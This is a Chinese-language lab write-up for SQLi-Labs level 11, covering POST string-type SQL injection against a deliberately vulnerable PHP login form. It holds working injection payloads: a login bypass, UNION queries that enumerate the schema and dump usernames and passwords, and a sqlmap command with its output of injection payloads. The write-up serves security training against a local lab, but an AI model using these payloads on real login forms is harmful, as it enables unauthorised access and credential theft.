sqli-labs通關筆記-第11關 POST字符型注入(單引號閉合 手工注入+腳本注入兩種方法)

目錄

一、字符型注入

二、limit函數

三、GET方法與POST方法

四、源碼分析

1、代碼審計

2、SQL注入安全分析

五、滲透實戰

1、進入靶場

2、注入點分析

(1)SQL語句

(2)萬能密碼登錄?

3、手工注入

?(1)獲取列數

(2)獲取回顯位

(3)獲取數據庫名

(4)獲取表名

(5)獲取列名

(6)獲取數據

4、sqlmap滲透實戰


SQLI-LABS 是一個專門為學習和練習 SQL 注入技術而設計的開源靶場環境,本小節通過手工注入和腳本注入共2種方法對第11關Less 11基于字符型的SQL注入關卡進行滲透實戰,相對于前1-10關的最主要區別是報文參數的請求方法由GET變為POST。??

一、字符型注入

字符型注入是 SQL 注入的一種類型,攻擊者通過在輸入字段中插入惡意 SQL 代碼來改變原 SQL 語句的邏輯。字符型注入通常發生在SQL 語句使用單引號或者雙引號等包裹字符串參數的場景中。攻擊者通過閉合單引號或者雙引號等符號并注入額外的 SQL 代碼,破壞原有語句結構。

二、limit函數

Limit是 SQL 中用于限制查詢結果數量的子句,不是真正的函數。Limit通常有兩種常見形式,具體如下所示。

  • 單參數形式LIMIT n

    • 返回前 n 條記錄

    • 示例:LIMIT 5?返回前5條結果

  • 雙參數形式LIMIT offset, count

    • offset:跳過的記錄數(從0開始)

    • count:要返回的記錄數

    • 示例:LIMIT 10, 5?跳過前10條,返回接下來的5條

舉例:SQL語句“SELECT * FROM users WHERE id='$id' LIMIT 0,1”中的LIMIT 0,1"表示獲取第一條匹配的記錄",LIMIT0,1的具體含義如下所示,

  • 從第0條記錄開始(即不跳過任何記錄)

  • 只返回1條記錄

三、GET方法與POST方法

GET 和 POST 是 HTTP 協議中兩種常用請求方法,核心區別如下。

GET 方法通過 URL 傳遞參數(如?key=value),參數可見且暴露在地址欄中,受瀏覽器長度限制(通常約 2KB),僅支持 ASCII 字符,會被瀏覽器緩存,安全性較低,適用于獲取數據(如搜索、分頁)。例如,用戶搜索關鍵詞時,參數直接顯示在 URL 中。

POST 方法將參數放入請求體中傳輸,不顯示在 URL 中,無明顯長度限制,支持任意編碼,不會被緩存,安全性更高,適用于提交數據(如登錄表單、文件上傳)。例如,用戶提交密碼時,參數通過 POST 請求體發送,不易被竊取。

簡言之,GET 側重 “獲取”,參數可見且有局限性;POST 側重 “提交”,參數隱蔽且更靈活。兩者的詳細區別如下表所示。

對比項GET 方法POST 方法
參數位置參數附在 URL 后(如?name=value參數放在 HTTP 請求體中
可見性參數暴露在 URL 中,不安全參數不可見,相對安全
長度限制有長度限制(約 2KB,取決于瀏覽器)無明顯長度限制
緩存性會被瀏覽器緩存不會被緩存
編碼支持只允許 ASCII 字符支持任何編碼類型
安全性不適合傳輸敏感數據(如密碼)更適合傳輸敏感數據
應用場景獲取數據(如搜索、分頁)提交數據(如表單、文件上傳)
典型注入點URL 參數(如id=1' OR 1=1 --表單字段(如 POST 數據中的username

四、源碼分析

1、代碼審計

本關卡Less11是基于字符型的SQL注入關卡,打開對應的源碼index.php,如下所示。

Less11關卡的源碼功能是登錄驗證頁面,與前1-10關的主要區別就是參數的傳遞方法由GET變為POST方法,詳細注釋后的源碼如下所示。

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>Less-11- Error Based- String</title> <!-- 基于錯誤的字符串注入 -->
</head><body bgcolor="#000000"> <!-- 黑色背景 -->
<div style=" margin-top:20px;color:#FFF; font-size:24px; text-align:center"> Welcome&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br></div><!-- 登錄表單 -->
<div align="center" style="margin:40px 0px 0px 520px;border:20px; background-color:#0CF; text-align:center; width:400px; height:150px;"><div style="padding-top:10px; font-size:15px;"><form action="" name="form1" method="post"> <!-- POST方式提交 --><div style="margin-top:15px; height:30px;">Username : &nbsp;&nbsp;&nbsp;<input type="text" name="uname" value=""/> <!-- 用戶名輸入框 --></div>  <div> Password  : &nbsp;&nbsp;&nbsp;<input type="text" name="passwd" value=""/> <!-- 密碼輸入框 --></div></br><div style=" margin-top:9px;margin-left:90px;"><input type="submit" name="submit" value="Submit" /> <!-- 提交按鈕 --></div></form></div>
</div><div style=" margin-top:10px;color:#FFF; font-size:23px; text-align:center">
<font size="6" color="#FFFF00"><?php
// 包含MySQL連接配置文件
include("../sql-connections/sqli-connect.php");
// 關閉PHP錯誤報告
error_reporting(0);// 檢查是否提交了用戶名和密碼
if(isset($_POST['uname']) && isset($_POST['passwd']))
{$uname = $_POST['uname']; // 獲取用戶名$passwd = $_POST['passwd']; // 獲取密碼// 記錄用戶輸入到日志文件$fp = fopen('result.txt','a');fwrite($fp,'User Name:'.$uname);fwrite($fp,'Password:'.$passwd."\n");fclose($fp);// 構造SQL查詢 - 存在注入風險點@$sql = "SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1"; // 直接拼接$result = mysqli_query($con1, $sql);$row = mysqli_fetch_array($result, MYSQLI_BOTH);if($row) { // 登錄成功echo "<br>";echo '<font color= "#FFFF00" font size = 4>';echo '<font size="3" color="#0000ff">';    echo "<br>";echo 'Your Login name:'. $row['username']; // 顯示用戶名echo "<br>";echo 'Your Password:' .$row['password']; // 顯示密碼(安全風險)echo "<br>";echo "</font>";echo "<br>";echo "<br>";echo '<img src="../images/flag.jpg" />'; // 成功標志圖片    } else { // 登錄失敗echo '<font color= "#0000ff" font size="3">';print_r(mysqli_error($con1)); // 關鍵安全點:顯示數據庫錯誤信息echo "</br>";echo "</br>";echo "</br>";echo '<img src="../images/slap.jpg" />'; // 失敗圖片echo "</font>";  }
}
?>
</font>
</div>
</body>
</html>

這是一個參數為用戶名和密碼的基于POST請求登錄表單的登錄驗證頁面,存在基于錯誤的SQL注入風險,通過用戶名和密碼字段的直接拼接構造SQL查詢,并顯示數據庫錯誤信息,主要功能是:

  • 提供用戶名和密碼的登錄表單(POST方法提交)

  • 記錄所有登錄嘗試到result.txt日志文件

  • 使用單引號直接拼接用戶輸入構造SQL查詢

  • 響應處理:

    • 登錄成功:顯示用戶名和明文密碼(可使用union聯合法注入)及成功圖片

    • 登錄失敗:顯示數據庫錯誤信息和失敗圖片

  • 關鍵風險點:顯示詳細的MySQL錯誤信息(可使用報錯法注入)

2、SQL注入安全分析

這個代碼存在嚴重的SQL注入安全問題,原因如下:

  • 未過濾的用戶輸入:直接將POST參數拼接到SQL語句中,沒有任何過濾或轉義處理。

$uname = $_POST['uname'];
$passwd = $_POST['passwd'];
$sql = "SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
  • 字符串拼接方式:SQL查詢使用單引號包裹用戶輸入,攻擊者可以閉合單引號注入惡意代碼。

  • 登錄成功結果顯示:顯示用戶名和明文密碼,有助于攻擊者進行基于union聯合法SQL注入。

  • 錯誤信息顯示:當SQL查詢出錯時,代碼會通過print_r(mysqli_error($con1))顯示MySQL錯誤信息,這有助于攻擊者進行基于錯誤的SQL注入。

五、滲透實戰

1、進入靶場

進入sqli-labs靶場首頁,其中包含基礎注入關卡、進階挑戰關卡、特殊技術關卡三部分有效關卡,如下所示。

http://127.0.0.1/sqli-labs/

其中第11關在基礎注入關卡“SQLi-LABS Page-1(Basic Challenges)”中,?點擊進入如下頁面。

http://127.0.0.1/sqli-labs/#fm_imagemap

點擊上圖紅框的Less11關卡,進入到靶場的第11關卡POST字符型注入關卡,頁面提示登錄框,需要輸入用戶名和密碼,具體如下所示。

http://127.0.0.1/sqli-labs/Less-11/

2、注入點分析

(1)SQL語句

根據源碼分析可知,本關卡通過 POST 方法接收用戶名(username)和密碼(passwd),使用mysqli_query執行?SQL 查詢(SELECT username, password FROM users WHERE username='$uname' and password='$passwd'),直接拼接用戶輸入的unamepasswd參數,且未對單引號等特殊字符過濾。登錄成功時顯示用戶名、密碼及成功圖片;失敗時通過mysqli_error($con1)直接返回數據庫錯誤信息,導致可利用報錯注入(如UPDATEXML函數)泄露數據。具體代碼如下所示。

$uname = $_POST['uname'];
$passwd = $_POST['passwd'];
$sql = "SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

頁面整體基于錯誤回顯的字符串型注入場景,核心根源在于未對輸入做安全處理且暴露數據庫錯誤細節,閉合方式為單引號,故而本關卡可以通過POST方法字符型報錯注入進行滲透。

(2)萬能密碼登錄?

根據上一步我們分析注入點為username和passwd,嘗試萬能登錄,用戶名為admin' or 1=1#,密碼任意(這里設置為mooyuan),此時開啟bp抓包,頁面效果如下所示。

點擊登錄submit,此時頁面顯示“Your Login name:Dumb,Your Password:Dumb;”并提示登陸成功,具體如下所示。?

在burpsuite的歷史記錄中找到這個報文,抓包效果如下所示。

此時在報文derequest請求部分右鍵,選擇copy to file并保存為sqli-labs11.txt,如下所示。

3、手工注入

?(1)獲取列數

如下所示,order by為2時滲透成功,但是order by為3時提示列不存在,故而共有2列。

admin' ORDER BY 2-- 
admin' ORDER BY 3-- 

(2)獲取回顯位

如下所示,回顯位為1和2,接下來我們使用第2個回顯位進行滲透。

-admin' UNION SELECT 1,2-- 

(3)獲取數據庫名

如下所示,數據庫的名稱為“security”。

-admin' UNION SELECT 1,DATABASE()-- 

(4)獲取表名

如下所示,數據庫security共有4個表格,分別為emails,referers,uagents,users。

-admin' UNION SELECT 1,GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()-- 

(5)獲取列名

如下所示,數據庫users表的列名分別為id,username,password。

-admin' UNION SELECT 1,GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() and TABLE_NAME='users'-- 

(6)獲取數據

最后通過上一步獲取到的列名來提取users表的內容,如下所示滲透成功。

-admin' UNION SELECT 1,GROUP_CONCAT(CONCAT(username,':',password)) FROM users-- 

4、sqlmap滲透實戰

我們使用sqlmap來進行滲透,參數的含義是獲取當前數據庫名稱(--current-db)并導出所有數據(--dump),全程自動執行無需人工交互(--batch),完整的SQL注入命令如下所示。

sqlmap -r sqli-labs11.txt  --current-db --dump --batch

其中sqli-labs11.txt中的注入點被修改為如下所示。

POST /sqli-labs/Less-11/ HTTP/1.1
Host: 192.168.59.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.59.1/sqli-labs/Less-11/
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 55uname=admin&passwd=mooyuan&submit=Submit

sqlmap滲透成功,可以通過聯合注入法、報錯法、布爾盲注、時間盲注等方法滲透成功,具體信息如下所示。

POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 145 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)Type: boolean-based blindTitle: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)Payload: uname=admin%' OR NOT 6228=6228#&passwd=mooyuan&submit=SubmitType: error-basedTitle: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)Payload: uname=admin%' AND GTID_SUBSET(CONCAT(0x7176786b71,(SELECT (ELT(6001=6001,1))),0x716a6a7871),6001) AND 'lltM%'='lltM&passwd=mooyuan&submit=SubmitType: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: uname=admin%' AND (SELECT 1233 FROM (SELECT(SLEEP(5)))oGno) AND 'kYbR%'='kYbR&passwd=mooyuan&submit=SubmitType: UNION queryTitle: MySQL UNION query (NULL) - 2 columnsPayload: uname=admin%' UNION ALL SELECT CONCAT(0x7176786b71,0x797650764470725965535070477076437651646c5866515a575942654e42726e62704c796b4e706f,0x716a6a7871),NULL#&passwd=mooyuan&submit=Submit
---
[21:44:47] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.9, Apache 2.4.39
back-end DBMS: MySQL >= 5.6
[21:44:47] [INFO] fetching current database
current database: 'security'
[21:44:47] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[21:44:47] [INFO] fetching current database
[21:44:47] [INFO] fetching tables for database: 'security'Table: users
[13 entries]
+----+------------+----------+
| id | password   | username |
+----+------------+----------+
| 1  | Dumb       | Dumb     |
| 2  | I-kill-you | Angelina |
| 3  | p@ssword   | Dummy    |
| 4  | crappy     | secure   |
| 5  | stupidity  | stupid   |
| 6  | genious    | superman |
| 7  | mob!le     | batman   |
| 8  | admin      | admin    |
| 9  | admin1     | admin1   |
| 10 | admin2     | admin2   |
| 11 | admin3     | admin3   |
| 12 | dumbo      | dhakkan  |
| 14 | admin4     | admin4   |
+----+------------+----------+

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/915631.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/915631.shtml
英文地址,請注明出處:http://en.pswp.cn/news/915631.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

網絡安全基礎作業三

回顧web前端的代碼<!DOCTYPE html> <html lang"zh-CN"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>用戶登錄</title><st…

基于單片機的溫濕度報警系統設計與實現

摘 要 本項研究對溫濕度警報系統的需求進行了詳盡分析&#xff0c;并成功研制出一套以單片機為技術核心的溫濕度警報系統。該系統由硬件搭建和軟件編程兩大模塊構成。在硬件搭建方面&#xff0c;系統整合了STM32主控芯片、DS18B20溫度傳感器、濕敏電阻、按鍵組件、OLED顯示屏、…

(八)復習(拆分微服務)

文章目錄項目地址一、Ticketing模塊拆分1.1 創建web api1. 添加引用2. 添加需要的包和配置3. program.cs4. docker-compose修改項目地址 教程作者&#xff1a;教程地址&#xff1a; 代碼倉庫地址&#xff1a; 所用到的框架和插件&#xff1a; dbt airflow一、Ticketing模塊拆…

DearMom以“新生兒安全系統”重塑嬰兒車價值,攬獲CBME雙項大獎

7月16日&#xff0c;在剛剛開幕的2025 CBME中國孕嬰童展上&#xff0c;備受矚目的CBME中國孕嬰童產業獎正式揭曉。深耕嬰兒車品類的專業品牌DearMom&#xff0c;憑借其卓越的創新實力與對新生兒安全出行的深刻洞察&#xff0c;一舉摘得重量級獎項——“杰出品牌創新獎”。同時&…

瀚高數據庫開啟Oracle兼容模塊

文章目錄環境癥狀問題原因解決方案環境 系統平臺&#xff1a;Linux x86-64 Red Hat Enterprise Linux 7 版本&#xff1a;4.5 癥狀 不能使用Oracle兼容&#xff1b; 問題原因 在瀚高數據庫V45中oracle兼容模塊需要單獨開啟默認是關閉狀態。 解決方案 使用sysdba執行修改…

final修飾符不可變的底層

final修飾符的底層原理在 Java 中&#xff0c;final 修飾符的底層實現涉及 編譯器優化 和 JVM 字節碼層面的約束其核心目標是保證被修飾元素的【不可變性】或 【不可重寫 / 繼承性】一、final 修飾類&#xff1a;禁止繼承的底層約束當一個類被 final 修飾時&#xff0c;例如 St…

如何排查服務器 CPU 飆高

服務器 CPU 飆高&#xff08;CPU 使用率持續超過 80% 甚至接近 100%&#xff09;是典型的性能瓶頸問題&#xff0c;可能由應用邏輯缺陷、資源競爭、外部壓力或硬件/系統異常引起。以下是系統化的排查步驟&#xff0c;覆蓋從現象確認到根因定位的全流程。?一、確認 CPU 飆高的現…

【DataWhale】快樂學習大模型 | 202507,Task05筆記

前言 今天是Transformer的編碼實戰階段&#xff0c;照著示例代碼執行一遍吧 embedding self.tok_embeddings nn.Embedding(args.vocab_size, args.dim)把token向量轉為embedding矩陣&#xff08;一個token一個embedding向量&#xff09; 位置編碼 為了解決“我喜歡你”和…

用ffmpeg 進行視頻的拼接

author: hjjdebug date: 2025年 07月 22日 星期二 17:06:02 CST descrip: 用ffmpeg 進行視頻的拼接 文章目錄1. 指定協議為concat 方式.1.1 協議為concat 模式,會調用 concat_open 函數1.2 當讀數據時,會調用concat_read2. 指定file_format 為 concat 方式2.1 調用concat_read_…

HTTP與HTTPS技術細節及TLS密鑰交換與證書校驗全流程

HTTP與HTTPS技術細節及TLS密鑰交換與證書校驗全流程 引言 文檔目的與范圍 核心技術棧概述 本文檔的核心技術棧圍繞傳輸層安全協議&#xff08;TLS&#xff09;展開。TLS協議作為安全套接字層&#xff08;SSL&#xff09;的后繼標準&#xff0c;是現代網絡安全通信的基礎&am…

廣播分發中心-廣播注冊流程

廣播是怎么注冊的呢&#xff1f;階段組件/數據結構作用描述存儲位置/關聯關系App進程階段BroadcastReceiver開發者自定義的廣播接收器&#xff0c;實現onReceive方法處理事件。App進程&#xff08;Activity/Service等組件內&#xff09;ReceiverDispatcher將BroadcastReceiver封…

OpenCV計算機視覺實戰(16)——圖像分割技術

OpenCV計算機視覺實戰&#xff08;16&#xff09;——圖像分割技術0. 前言1. 分水嶺算法1.1 應用場景1.2 實現過程2. GrabCut 交互式分割2.1 應用場景2.2 實現過程3. FloodFill3.1 應用場景3.2 實現過程小結系列鏈接0. 前言 圖像分割是計算機視覺中將像素劃分為具有特定語義或…

Coturn打洞服務器

* 概念理解&#xff1a;1. SDP協議&#xff1a;會話描述協議&#xff0c;視頻通話的雙方通過交換SDP信息進行媒體協商&#xff0c;從而選擇使用某一相同的媒體協議進行通信&#xff1b;TLS協議&#xff1a;基于TCP的安全層傳輸協議DTLS協議&#xff1a;基于UDP的安全層傳輸協議…

python flusk 監控

# 創建虛擬環境目錄 python3 -m venv /sda1/xunjian/venv # 激活虛擬環境 source /sda1/xunjian/venv/bin/activate # 激活后終端會顯示 (venv)創建虛擬環境&#xff08;在當前目錄&#xff09;&#xff1a;bashpython3 -m venv venv激活虛擬環境&#xff1a;bashsource venv/b…

VUE2 項目學習筆記 ? 語法 v-if/v-show

?語法頁面渲染的時候&#xff0c;需要服務器傳過來的對象中的一個屬性&#xff0c;然后根據這個屬性用v-for渲染標簽&#xff0c;這里寫的v-for".... in dataList.goodsList"但是當解析到這行語法的時候&#xff0c;dataList還沒返回&#xff0c;因此控制臺會報錯找…

使用qemu命令啟動虛擬機

1. 安裝相關軟件 yum install qemu edk2* libvirt -y 啟動libvirt服務 systemctl start libvirtd systemctl status libvirtd2. 創建虛擬機 2.1. qemu啟動命令示例 /usr/bin/qemu-system-loongarch64 \-machine virt,accelkvm \-nodefaults \-m 2048 \-smp 2,maxcpus4,co…

大模型系統化學習路線

人工智能大模型系統化學習路線一、基礎理論筑基&#xff08;1-2個月) 目標&#xff1a;建立大模型核心認知框架 核心內容&#xff1a; 深度學習基礎&#xff1a;神經網絡原理、CNN/RNN結構、梯度下降算法大模型本質&#xff1a;Transformer架構&#xff08;重點掌握注意力機制、…

LLaMA-Factory 微調可配置的模型基本參數

LLaMA-Factory 微調可配置的模型基本參數 flyfish 基本參數 一、模型加載與路徑配置參數名類型描述默認值model_name_or_pathOptional[str]模型路徑&#xff08;本地路徑或 Huggingface/ModelScope 路徑&#xff09;。Noneadapter_name_or_pathOptional[str]適配器路徑&#xf…

Ubuntu 22 安裝 ZooKeeper 3.9.3 記錄

Ubuntu 22 安裝 ZooKeeper 3.9.3 記錄 本文記錄在 Ubuntu 22.04 系統上安裝 ZooKeeper 3.9.3 的過程&#xff0c;包含 Java 環境準備、配置文件調整、啟動與停機操作、以及如何將 ZooKeeper 注冊為系統服務。 一、準備環境 ZooKeeper 3.9.x 要求 Java 11 或更高版本&#xff…

FreeSwitch通過Websocket(流式雙向語音)對接AI實時語音大模型技術方案(mod_ppy_aduio_stream)

FreeSwitch通過WebSocket對接AI實時語音大模型插件技術方案1. 方案概述 基于FreeSWITCH的實時通信能力&#xff0c;通過WebSocket協議橋接AI大模型服務&#xff0c;實現低延遲、高并發的智能語音交互系統。支持雙向語音流處理、實時ASR/TTS轉換和動態業務指令執行。 1753095153…